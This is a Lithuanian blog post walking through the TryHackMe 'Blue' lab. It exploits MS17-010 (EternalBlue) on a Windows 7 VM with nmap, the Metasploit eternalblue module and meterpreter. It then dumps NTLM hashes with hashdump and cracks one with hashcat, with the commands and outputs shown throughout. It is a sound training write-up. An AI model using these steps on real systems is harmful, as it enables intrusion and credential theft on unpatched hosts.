Išmėginkite Eternal Blue pažeidžiamumą savo rankomis “Try Hack Me” Blue

Tomas Savenas
savenas.lt
Published in
6 min readJul 26, 2020

Ko gero teko girdėti apie “Wannacry” virusą, kuris reikalavo išpirkos Bitcoin kriptovaliuta 2017 metais. Jis išplito labai greitai, žalos padarė taip pat nemažai užšifruojama informacija stipriu mechanizmu. Šis virusas plito išnaudodamas Microsoft Windows sistemos pažeidžiamuma — MS17–010, kai tinkle esantis kompiuteris per SMB v1 protokolą galėjo komunikuoti ir užkrėsti kitus, nes šis pažeidžiamumas galėjo vykdyti komandas kitame kompiuteryje administratoriaus teisėmis [1]. Vidiniame tinkle užteko vienam darbuotojui atidaryti el. Laišką ir visas įmonės potinklis atakuojamas.Šiuo metu pažeidžiamumas kartu su Windows atnaujinimais užtaisytas, gali būti kur dar sena atnaujinta ir/ar neperkrauta Windows 7 sistema šis pažeidžiamumas egzistuoja.

Šiame aprašyme rasite, žingsis po žingsio aprašytus veiksmu kurios reikia atlikti, kad Try Hack Me platforma [4] gautume administratoriaus prieiga nutolusioje virtualioje mašinoje.

Pradėsime nuo tos vietos, kai atsinaujine Kali operacinę sistemą, taip pat įsidiege OpenVPN ir prisijungę prie tinklo, arba atsidarėte Kali mašina naršyklėje, jeigu turite prenumeratą.

Prisijunge matysite groteles tai reiškia jau turite root teisės savo aplinkoje.

Galime pradėti užduotį. Pirmas žingsnis paleisti Windows VM su mygtuku “Deploy”.

Sistema užsikrauna per maždaug dvi minutes, gali susipažinti su tolesnėmis užduotis ką reikės daryti.

Galima pasižiūrėkite koks jūsų IP adresas ir VM adresas ar sutampa potinkliai.

Kali IP adresas ir potinklis

Windows IP adresas, pastaba tiek Kali tiek atakuojamos VM yra riboto, laiko reikia pratęsti jeigu užtruksime ilgiau negu valanda.

Pradėti nuo skenavimo panaudojant įrankį nmap. Tai yra galingas ir tuo pačių paprastas komandinė eilutės įrankis gali parodyti kokie prievadai (portai) atidaryti iš galime nuspėti kokios standartinės paslaugos pateikiamos. Daugiau apie nmap galite pasiskaityti [2]

Toliau šiame apraše naudosime adresą 10.10.99.227, jūsų atveju kitas.

Komanda:

nmap 10.10.99.227

Rezultatas

Šiuo atveju prievadai virš 40 000 nedomina. Windows sistemos įprastai turi atvertus šiuos pažymėtus portus. Tuo paslaugos susijusios su 135,139,445 failu dalinimusi ir tinklo informacija, 3389 tai nutolusio mazgo prieiga. Šiam atveju nebūtina.

Toliau bandysime nustatyti kokia tai Windows operacinė sistemą ir ar ji pažeidžiama MS17–010

Komanda:

nmap -p 445 -A 10.10.99.227

Šį karta skenuojame naudodami argumetą -p ir portą 445, tai yra sutrumpiname paieškos laiką skirdami dėmėsi tik smb protokui ir per jį nustatysime kokia OS versija, ir kita susijusi info.

Rezultatas

Žinome, kad tai Windows 7 Pro ir kompiuterio vardas Jon-PC, galime spėti, kad yra toks naudotojas. Tęskite toliau ir išsiaiškinsime

Patikrinkite ar pažeidžamumas egzistuoja, tačiau dar nebandykite exploitinti.

Komanda

nmap -p 445 --script smb-vuln-ms17-010  10.10.99.227

Rezultatas

Statusas Vulnarable, tai reiškia, galimai pažeidžiama, turime galime išbandyti ir exploitą prie kurioje tuoj prieisime,

Kartais nutiktų taip, kad auksčiau įvesta komanda nesudirbu ir nerado pažeidžiamumo įveskite komandą

nmap -p 445 --script vuln  10.10.99.227

Prasuks visus pažeidžiamumas ant to adreso ir porto.

Rezultatas turėtų toks pat.

Toliau:

Komanda

msfconsole

Rezultatas

Turime užsikrovę kitą galingą įrankį, kuriuo pagalbą pasinaudosime galima esančiu pažeidžiamu ir pasiesime VM administratoriaus teises, bet prieš tai turime žinoti, kad šis įrankius turi trys būtinus žingsnius.

Exploito (scripto) paieška ir pasirinkimą

Nustatymus (būtinus) laukus.

Paleidimą.

PIrmas žingsnis paieška.

Galime ieškoti įvarių susijusių raktažodžių, tačiau jeigu ieškome ms17–010, tuomet rezultatas atrodys greičiausiai šitaip.

Pilnas pavadinimas

exploit/windows/smb/ms17_010_eternalblue

Galima pasirinkti su komanda use ir pilna pavadinimą

use exploit/windows/smb/ms17_010_eternalblue

Arba tik iš paieškos rezultato, jis yra trečias.

use 3

Sėkmingų atvejų mums užkraus modulį.

Antras etapas

Galima pasižiūrėti funkcionalumą ir kokie yra privalomi laukai.

Komanda

show options

Atkreipiame dėmesį į current settings ir į required

Prie required “yes” ir “current settings” tusčias laukas.

Kituose explotas tas pats bus.

Įveskite tuos nustatymus.

Mums reikia įvesti reikšmę RHOSTS, ji nustatomą su komandą set.

set RHOSTS 10.10.99.227

Rezultatas

Įsitikinkime ar tikrai pasikeitė nustatymuose, su show options.

Rezultatas

Kai turime nustatymas teisingus. Eikime į paskutinį etapą.

Išnaudojimas

Komanda paleidimui run arba exploit.

Rezultatas

Sėkmės atveju turime WIN, galime nematyti comandinės eilutės įvedimo, reiktų paspausti enter, tik po atsiranda

C:\Windows\system32>

Taigi įsitikinome, kad VM pažeidžiama ms17–010

Kas toliau, reikia tolimesnių teisių ir atlikti kitas užduotys. Tai yra mūsų pirmoji užmegsta sesija, reikia ją nuleisti į foną, (background), kad galėtume įsijungti meterpreterį.

Vedame komanda background ir spaudžiame y

background

Rezultatas

Pasitikrinkite ar sesija yra fone

Komanda

sessions

Rezulttas

Užsikraukime kitą modulį meterpreter su komandą:

use shell_to_meterpreter

Rezultatas

Matome modulis pasikeitė, patikrinkime koks funcionalumas ir privalomi, laukai, toliau tie patys trys etapai.

Komanda

show options

Rezultatas

Mums tereikia nustatyti reikšmę SESSION, o jis yra 1, nes turime viena išexplotintą sesiją dabar.

set SESSION 1

Rezutatas

SESSION => 1

Išnaudojimas

Komanda run

Informacija apie sėkminga susijungimą, tačiau jis automatiškai nukeltas į antrą sesiją.

Gali tekti paspausti enter automatiškai neatsirada įvesties eilutė.

Įeiti į meterpreter sesija komanda

sessions 2

Rezultatas

Patikrinkime, ar tikrai turime administratorių komanda:

getsystem

Rezultatas

…got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Toliau nusikelkime savo dabartinį procesą į kitą programą su aukštom teisėm, kad galėtume ištraukti hash iš atminties nes naudotojui neleis ištraukti.

Komanda

migrate -N winlogon.exe

Rezulttas

[*] Migrating from 2828 to 656…
[*] Migration completed successfully.

Retai, bet oasutauji, sistema nėra stabili ir nulūžtą gali tekti pakartoti migravimą, arba galbūt išnaujo pasileisti VM, nes bus BlueScreen kitame gale.

Slaptažodžio ištraukimas

Komanda:

hashdump

Rezultatas:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Gavome Jon hash’ą toliau palikime kaboti šitą sesiją, atidarykite naują terminalą.

Bandysime surasti slaptažodžio reikšmę su slaptažodžių žodyno ataką

Nukopijuojame visą eilute su Jon ir pabaiga ::

Sukuriame kitame terminale failą su komanda

echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > hash

Reikia žodyno pačio, jis yra suarchyvuotas ir guli direktorijoje:

/usr/share/wordlists/rockyou.txt.gz

Atspausti komanda

gunzip /usr/share/wordlists/rockyou.txt.gz

Toliau paleisime ieškoti slaptažodžio

hashcat -a 0 -m 1000 hash /usr/share/wordlists/rockyou.txt --force

Rezultatas

fb43f0de35be4d9917ac0cc8ad57f8d:alqfna22        

Session..........: hashcat
Status...........: Cracked
Hash.Type........: NTLM
Hash.Target......: ffb43f0de35be4d9917ac0cc8ad57f8d
Time.Started.....: Thu Jul 23 21:55:48 2020 (4 secs)
Time.Estimated...: Thu Jul 23 21:55:52 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2470.2 kH/s (0.39ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 10201088/14344385 (71.12%)
Rejected.........: 0/10201088 (0.00%)
Restore.Point....: 10199040/14344385 (71.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: alsinah -> alphasarto11

Started: Thu Jul 23 21:55:32 2020
Stopped: Thu Jul 23 21:55:53 2020

Slaptažodis

alqfna22

Kur yra visos vėliavos

Toliau tesime buvusioje meterpremerio sesijoje

Komanda

search -f flag*.txt

Rezutltas

Found 3 results…
c:\flag1.txt (24 bytes)
c:\Users\Jon\Documents\flag3.txt (37 bytes)
c:\Windows\System32\config\flag2.txt (34 bytes)

Tai belieka su nueitį į shel’ą ir su komanda more peržiūrėti turinį

Daugiau apie protokolo pažeidžiamumą: [5]

Šaltiniai:

#1 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
#2 https://medium.com/hackerman-lt/kas-yra-nmap-ir-kaip-juo-naudotis-49a376400e8c
#3 https://medium.com/@ratiros01/tryhackme-blue-dc8b97351248
#4 https://tryhackme.com/
#5 https://www.youtube.com/watch?v=HsievGJQG0w

--

--

Tomas Savenas
savenas.lt

Kibernetinio saugumo entuziastas; Aktyviausias Lietuvis TryHackMe platformoje; Inovacijų valdymo ir Antreprenerystės Magistrantas @ KTU